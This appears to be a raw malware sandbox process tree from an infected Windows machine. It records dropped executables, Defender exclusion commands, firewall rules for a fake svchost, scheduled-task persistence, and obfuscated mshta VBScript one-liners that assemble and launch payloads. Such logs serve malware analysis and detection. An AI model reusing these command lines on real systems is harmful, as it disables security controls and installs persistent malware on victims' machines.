C:\Users\Admin\Pictures\Adobe Films\qdWj5w6Ic5tZMmeSlsKBZkQM.exe"C:\Users\Admin\Pictures\Adobe Films\qdWj5w6Ic5tZMmeSlsKBZkQM.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3404 -s 6607⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3404 -s 6767⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3404 -s 6807⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3404 -s 6967⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\Wzm1sgDHboLMLjvBmrSA1Lip.exe"C:\Users\Admin\Pictures\Adobe Films\Wzm1sgDHboLMLjvBmrSA1Lip.exe"6⤵
- Modifies system executable filetype association
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\3582-490\Wzm1sgDHboLMLjvBmrSA1Lip.exe"C:\Users\Admin\AppData\Local\Temp\3582-490\Wzm1sgDHboLMLjvBmrSA1Lip.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\rxSdkigjdFzPqOdVaCZCuU6c.exe"C:\Users\Admin\Pictures\Adobe Films\rxSdkigjdFzPqOdVaCZCuU6c.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\ix2mHeVFSBvbmR0vNbTZD6OV.exe"C:\Users\Admin\Pictures\Adobe Films\ix2mHeVFSBvbmR0vNbTZD6OV.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\JXTPmlKANs52mkD2qMOQ4STV.exe"C:\Users\Admin\Pictures\Adobe Films\JXTPmlKANs52mkD2qMOQ4STV.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\41YCPmIdgohKHdn3Bw1eIs7g.exe"C:\Users\Admin\Pictures\Adobe Films\41YCPmIdgohKHdn3Bw1eIs7g.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\lq2elq5gMW2J_TPdCqgB4Bf8.exe"C:\Users\Admin\Pictures\Adobe Films\lq2elq5gMW2J_TPdCqgB4Bf8.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\miBYZJOCoU2pMLY1z4VrXD2_.exe"C:\Users\Admin\Pictures\Adobe Films\miBYZJOCoU2pMLY1z4VrXD2_.exe"6⤵
- Executes dropped EXE
- Drops file in Windows directory
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\WINDOW~1\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\7⤵
-
C:\Windows\SysWOW64\WINDOW~1\v1.0\powershell.exeC:\Windows\System32\WINDOW~1\v1.0\powershell.exe Add-MpPreference -ExclusionPath c:\windows\8⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM7⤵
- Creates scheduled task(s)
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System\svchost.exe" formal7⤵
-
C:\Windows\System\svchost.exeC:\Windows\System\svchost.exe formal8⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\WINDOW~1\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\9⤵
-
C:\Windows\SysWOW64\WINDOW~1\v1.0\powershell.exeC:\Windows\System32\WINDOW~1\v1.0\powershell.exe Add-MpPreference -ExclusionPath c:\windows\10⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes9⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes10⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes9⤵
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\System32\netsh.exe advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes10⤵
-
C:\Users\Admin\Pictures\Adobe Films\oNKNPy4BzgGZ4HOyIWUtbx7z.exe"C:\Users\Admin\Pictures\Adobe Films\oNKNPy4BzgGZ4HOyIWUtbx7z.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\3734809.scr"C:\Users\Admin\AppData\Roaming\3734809.scr" /S7⤵
-
C:\Users\Admin\AppData\Roaming\1275820.scr"C:\Users\Admin\AppData\Roaming\1275820.scr" /S7⤵
-
C:\Users\Admin\AppData\Roaming\4469513.scr"C:\Users\Admin\AppData\Roaming\4469513.scr" /S7⤵
-
C:\Users\Admin\AppData\Roaming\2323756.scr"C:\Users\Admin\AppData\Roaming\2323756.scr" /S7⤵
-
C:\Users\Admin\AppData\Roaming\6092775.scr"C:\Users\Admin\AppData\Roaming\6092775.scr" /S7⤵
-
C:\Users\Admin\Pictures\Adobe Films\qnuO93tm5xrMNme2dpYoMzSP.exe"C:\Users\Admin\Pictures\Adobe Films\qnuO93tm5xrMNme2dpYoMzSP.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\a3vyCLeqrnDnYG14TJYu0Ct0.exe"C:\Users\Admin\Pictures\Adobe Films\a3vyCLeqrnDnYG14TJYu0Ct0.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\Pictures\Adobe Films\Z5r1nDrqdVF4tIXqAoMelhBb.exe"C:\Users\Admin\Pictures\Adobe Films\Z5r1nDrqdVF4tIXqAoMelhBb.exe"6⤵
- Executes dropped EXE
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\6GtyS2xe8WV9VtPWfuymaDW7.exe"C:\Users\Admin\Pictures\Adobe Films\6GtyS2xe8WV9VtPWfuymaDW7.exe"6⤵
- Executes dropped EXE
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\Gr4eZrAr42g89a8V0ayXlZXp.exe"C:\Users\Admin\Pictures\Adobe Films\Gr4eZrAr42g89a8V0ayXlZXp.exe"6⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\Gr4eZrAr42g89a8V0ayXlZXp.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\Gr4eZrAr42g89a8V0ayXlZXp.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )7⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
-
C:\Users\Admin\Pictures\Adobe Films\tTt2o5KFb5l7ILIjRQCpgLkl.exe"C:\Users\Admin\Pictures\Adobe Films\tTt2o5KFb5l7ILIjRQCpgLkl.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\GB1Y0A~1.EXE"6⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\GB1Y0A~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\GB1Y0A~1.EXE7⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=18⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--oYd2f1"9⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1f4,0x1f8,0x1fc,0x1d0,0x200,0x7ffeef0bdec0,0x7ffeef0bded0,0x7ffeef0bdee010⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff6fb6b9e70,0x7ff6fb6b9e80,0x7ff6fb6b9e9011⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1672,17221019697053312649,15418448317264553289,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7084_2037528646" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1688 /prefetch:210⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1672,17221019697053312649,15418448317264553289,131072 --lang=de --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7084_2037528646" --mojo-platform-channel-handle=1736 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1672,17221019697053312649,15418448317264553289,131072 --lang=de --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7084_2037528646" --mojo-platform-channel-handle=2008 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1672,17221019697053312649,15418448317264553289,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7084_2037528646" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2664 /prefetch:110⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1672,17221019697053312649,15418448317264553289,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7084_2037528646" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2512 /prefetch:110⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1672,17221019697053312649,15418448317264553289,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7084_2037528646" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3280 /prefetch:210⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1672,17221019697053312649,15418448317264553289,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7084_2037528646" --mojo-platform-channel-handle=1700 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1672,17221019697053312649,15418448317264553289,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7084_2037528646" --mojo-platform-channel-handle=3312 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1672,17221019697053312649,15418448317264553289,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7084_2037528646" --mojo-platform-channel-handle=1788 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1672,17221019697053312649,15418448317264553289,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7084_2037528646" --mojo-platform-channel-handle=1408 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,17221019697053312649,15418448317264553289,131072 --lang=de --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7084_2037528646" --mojo-platform-channel-handle=2140 /prefetch:810⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon2083f8d8970a0b2d.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon2083f8d8970a0b2d.exeMon2083f8d8970a0b2d.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon209c830507d573.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon209c830507d573.exeMon209c830507d573.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon209c830507d573.exeC:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon209c830507d573.exe6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon209c830507d573.exeC:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon209c830507d573.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon209c830507d573.exeC:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon209c830507d573.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon206d48916f93c5.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon203f01ac7e6.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon203f01ac7e6.exeMon203f01ac7e6.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon203f01ac7e6.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon203f01ac7e6.exe"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon203f01ac7e6.exe" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon203f01ac7e6.exe" ) do taskkill /F -Im "%~NxU"7⤵
-
C:\Users\Admin\AppData\Local\Temp\09xU.exE09xU.EXE -pPtzyIkqLZoCarb5ew8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE" ) do taskkill /F -Im "%~NxU"10⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " , 0 ,TRuE ) )9⤵
- Modifies registry class
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I10⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" eCHO "11⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"11⤵
-
C:\Windows\SysWOW64\control.execontrol .\R6f7sE.I11⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I12⤵
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I13⤵
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I14⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I15⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F -Im "Mon203f01ac7e6.exe"8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon204014f13870f5e.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon204014f13870f5e.exeMon204014f13870f5e.exe5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon206d48916f93c5.exeMon206d48916f93c5.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\8398873.scr"C:\Users\Admin\AppData\Roaming\8398873.scr" /S2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\6287858.scr"C:\Users\Admin\AppData\Roaming\6287858.scr" /S2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\2414429.scr"C:\Users\Admin\AppData\Roaming\2414429.scr" /S2⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\1856566.scr"C:\Users\Admin\AppData\Roaming\1856566.scr" /S2⤵
- Executes dropped EXE
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\PROGRA~2\Company\NEWPRO~1\cutm3.exeC:\PROGRA~2\Company\NEWPRO~1\cutm3.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\System32\mshta.exe VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\Gr4eZrAr42g89a8V0ayXlZXp.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\Gr4eZrAr42g89a8V0ayXlZXp.exe"" ) do taskkill -im ""%~NxK"" -F ,0, trUE ) )1⤵
-
C:\Users\Admin\AppData\Roaming\SERVIC~1.EXEC:\Users\Admin\AppData\Roaming\SERVIC~1.EXE1⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe /c schtasks /create /f /sc onlogon /rl highest /tn services64 /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn services64 /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'4⤵
- Creates scheduled task(s)
-
C:\PROGRA~2\Company\NEWPRO~1\inst3.exeC:\PROGRA~2\Company\NEWPRO~1\inst3.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\C923.exeC:\Users\Admin\AppData\Local\Temp\C923.exe1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Users\Admin\AppData\Local\Temp\509F.exeC:\Users\Admin\AppData\Local\Temp\509F.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\5C87.exeC:\Users\Admin\AppData\Local\Temp\5C87.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\7168.exeC:\Users\Admin\AppData\Local\Temp\7168.exe1⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\603C03~1\sqtvvs.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\603C03~1\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\603C03~1\sqtvvs.exe3⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\A143.exeC:\Users\Admin\AppData\Local\Temp\A143.exe1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 35221444C32C65D8F93C719B22287BD8 C2⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 331653C84191BD60A7029B9895964EE42⤵
-
